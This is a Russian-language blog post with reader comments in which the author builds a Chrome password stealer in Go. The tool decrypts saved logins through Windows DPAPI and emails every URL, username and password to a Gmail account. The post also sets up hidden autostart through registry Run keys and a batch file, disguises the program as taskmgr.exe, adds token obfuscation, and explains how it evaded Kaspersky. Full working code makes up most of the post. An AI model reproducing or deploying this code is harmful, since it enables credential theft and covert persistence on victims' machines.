Как шифруются пароли Chrome
Разработчики Chrome подошли очень ответственно к этому вопросу используя Data Protection Application Programming Interface (DPAPI). Пароли и логины Google Chrome шифруются с помощью машинного ключа/пользовательского ключа.
За API Криптографии Windows отвечает — Crypt32.dll он и производит все манипуляции с криптографическими ключами. Если вы возьмете и перенесёте файл Login Data "%appdata%\Local\Google\Chrome\User Data\Default\Login Data" на любую другую машину (ПК, ноутбук — без разницы) и попробуете дешифровать файл — у вас ничего не получится. Ключ уникален только текущей машине. Поэтому все манипуляции будут производиться на текущей машине.
Меня заинтересовало совсем другое… Можно же использовать данный софт для кражи данных логинов, паролей пользователя (В целях эксперимента тестировалось только на текущей машине). Декодируется файл на текущей машине и далее все данные отправляются через SMTP сервер, выбрал я для этого Gmail. Ничего хитроумного выдумывать не нужно было, всего лишь добавить обертку для отправки данных через SMTP сервер.
Код дешифратора паролей с последующей отправкой на почту:
package main;
import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
//"path/filepath"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func Grabber() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Copy Login Data file to temp location
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
//Select Rows to get data from
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
var sx string;
sx = (URL + " " + USERNAME + " " + string(pass))
m := email.NewMessage("[Grabber]: Decrypt;", sx)
m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
m.To = []string{"exampleto@gmail.com"}
auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
func main() {
Grabber();
}
Проблема
Я скачал и установил антивирус Kaspersky Total Security. К моему удивлению Kaspersky Total Security было абсолютно все ровно на всё происходящее. Знаете почему? Потому что мы работает с криптографической библиотекой Crypt32.dll которая имеет «Цифровую Подпись» и входит в состав неотъемлемого компонента ОС Windows. У меня все работало до тех пор пока я не решил добавить софт в автозагрузку. Делал я по такому плану:
- Создается папка в %appdata%/Microsoft/VirtualNetwork/
- Перемешается текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe
- Добавляемся в автозагрузку «HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run»
Код:
func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error) {
currentKey, err := registry.OpenKey(typeReg, regPath, access)
if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
return currentKey, err;
}
func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error) {
var value string = ""
key, err := GetRegistryKey(typeReg, regPath, registry.READ)
if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
defer key.Close()
value, _, err = key.GetStringValue(nameKey)
if err != nil {
fmt.Println("[FATAL]: Get string key-value is impossible!")
}
return value, nil;
}
func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {
currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer currentKey.Close()
_, _, err = currentKey.GetStringValue(nameValue)
if err != nil {
fmt.Println("[INFO]: Check registry-key is impossible!")
}
return true;
}
func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error {
updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer updateKey.Close()
return updateKey.SetStringValue(nameProgram, pathToExecFile);
}
func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {
deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer deleteKey.Close()
return deleteKey.DeleteValue(nameProgram);
}
func main() {
go func() {
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
"Virtual Network",
"%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
"Virtual Network",
)
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"Virtual Network",
"%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",,
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"Virtual Network",
)
}()
}
Тут же как я попробовал запустить софт — начал ругаться Kaspersky Total Security. На то и было дело, Kaspersky Total Security перехватывал все системные вызовы которыми я пользовался для добавления файла в автозагрузку, так как мои вызовы исходили из программы неподтвержденной цифровой подписью и не каким боком не относились к компоненту Windows — Kaspersky Total Security негодовал. Я не знал что проблема связанна с цифровыми подписями и компонентами ОС Windows… Я попробовал обфусцировать код.
mask := []byte{33, 16, 187}
maskedStr := []byte{89, 152, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
result := make([]byte, 512)
for i, m := range moveSX {
result[i] = m ^ moveSXSub[i] * m * 22;
}
Запустил, подождал, но всё было напрасно…
После этого я посидел ещё несколько часов и решил обойти проблему методом вызова os.exec(), предварительно переместив текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe:
var (
controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\VirtualNetwork"
)
if _, err := os.Stat(controllerDir); os.IsNotExist(err) {
err = os.MkdirAll(controllerDir, 0755)
if err != nil {
log.Fatal(err)
}
}
currPath, err := filepath.Abs(os.Args[0])
if err != nil {
fmt.Println("#CANT FIND CURRENT PROCC>")
}
from, err := os.Open(string(currPath))
if err != nil {
log.Fatal(err)
}
defer from.Close()
to, err := os.OpenFile(controllerDir+"\\taskmgr.exe", os.O_RDWR|os.O_CREATE, 0666)
if err != nil {
log.Fatal(err)
}
defer to.Close()
_, err = io.Copy(to, from)
if err != nil {
log.Fatal(err)
}
cmd := exec.Command("cmd", "/Q", "/C", "reg", "add",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Virtual Manager", "/d",
"%appdata%/Microsoft/VirtualNetwok/taskmgr.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.Output()
fmt.Println(out)
Но ничего не выходило, Kaspersky Total Security все равно перехватывал все вызовы. Я был в отчаянии… Полежав на кроватке минут 20 я опять вернулся и глянул на код софта и вспомнил что до того момента как я начал работать с реестром и делать перемещение файлов у меня проблем не было… И тут я понял что проблема как раз с Цифровыми Подписями и стандартными компонентами ОС Windows
Решение проблемы
Так как я уже узнал что проблема была с цифровыми подписями и программными компонентами ОС Windows я приступил действовать. Первым делом я добавил код обфускации (Показанный выше) в код программы. Удалил излишнее компоненты работы с реестром и перемещением файлов. Следующие что я сделал — создал файл auto.bat и записал в него примерно следующее:
@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y taskmgr.exe "%appdata%\Microsoft\System\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
taskmgr.exe
exit
Суть заключалась в том что я буду использовать стандартные компоненты Microsoft Windows для внедрения данных в реестр (автозагрузку), удаления/перемещения файлов, директорий и так далее, потому что Kaspersky Total Security попросту не может блокировать такие утилиты как regedit, rmdir/rd, mkdir — они необходимы для полноценной работы всех независимо-программных компонентов ОС.
Собрал всё в кучу и подредактировал некоторые нюансы у меня получилось следующие:
Go |test.go| Batch |auto.bat|
package main;
import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
//"path/filepath"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func Grabber() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Copy Login Data file to temp location
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
//Select Rows to get data from
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
var sx string;
sx = (URL + " " + USERNAME + " " + string(pass))
m := email.NewMessage("[Grabber]: Decrypt;", sx)
m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
m.To = []string{"exampleto@gmail.com"}
auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
func main() {
mask := []byte{33, 15, 199}
maskedStr := []byte{73, 106, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
Grabber();
moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
result := make([]byte, 512)
for i, m := range moveSX {
result[i] = m ^ moveSXSub[i] * m * 22;
}
}
@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
test.exe
exit
Собираем наш проект:
go build -ldflags "-w -s" -ldflags -H=windowsgui
Запускаем auto.bat: Успешно добавляет наш файл в автозагрузку, создает директорию %appdata%/Microsoft/VirtualNetwork/ и перемещает файл в VirtualNetwork заменяя test.exe на taskmgr.exe.
Может это и не совсем обход антивируса, но суть заключается в том что можно использовать стандартные компоненты ОС Windows для решения частых проблем с перемещением/внедрением /удалением.
Отчет VirusTotal:
Комментарии (12)
Duss
16.02.2018 15:28+1Много где, кроме организаций, вы видели настроенные права?
И в целом даже без автозагрузки уже можно считать дело сделанным. Программа запущена, все пароли вытащены и успешно отправлены на почту. Автозагрузка уже может и не понадобиться.fmj
16.02.2018 15:44Если это работает только на не настроенной системе, то смысл писать статью? Когда был студентом, тоже писали программу, которая скачивала файлы с преподских флешек(нам нужны были лекции, а преподы их не давали. Некоторые преподы даже хранили пароли на этих флешках). И она работала только потому, что не были настроены права, можно было запускать любые программы на компах в аудиториях(Кое-где был даже админский доступ). И установленный антивирус никак не реагировал на подобные действия.
InoMono
16.02.2018 20:12+1Если это работает только на не настроенной системе, то смысл писать статью?
Это работает на «дефолтнонастроенной» системе, коих 90%
vladbarcelo
16.02.2018 23:28Вирусы на батниках, ух как сейчас 2006 годом запахло...
А вообще, вы обошли исключительно эвристику. 3-4 дня ваша зараза не будет светиться, а потом резко попадёт во все сигнатуры.
mogaika
17.02.2018 15:20А можно разъяснить немножко. Кто-то должен обязательно зарепортить программу чтобы она попала в базу сигнатур? И еще её должен будет посмотреть сотрудник касперского?
vladbarcelo
17.02.2018 17:28Если разговор об AV Касперского, то программа автоматически загружается в KSN. Там, на другом конце, её проверяют некими ноу-хау-методами, скорее всего, как автоматически, так и руками. В конце эта проверка даёт некое обновление для вирусных сигнатур (причём не только хеш-сигнатур, но и эвристических), и уже после этого условный зловред начинает как-то лечиться на компьютерах пользователей. Причём, по опыту (~годовой давности) сначала обновляются хеш-сигнатуры, что даёт некую фору — можно переобфусцировать вирус и весело плевать на хеш-сигнатуры пока не вышло обновление эвристики. Как-то так, но это чисто личные наблюдения и реальности они могут совершенно не соответствовать.
ToshiruWang
19.02.2018 09:55А UAC при добавлении не будет ругаться? Или расчёт на «Да-да-да» юзверя или зверь-CD, где оно отключено с момента установки?
fmj
если настроить права, то ваш софт просто не запустится.
fragmentation-drum Автор
Мы сейчас не говорим о правах, тем более что большинство Компаний/Юзеров не настраивают права, им абсолютно все равно на этом.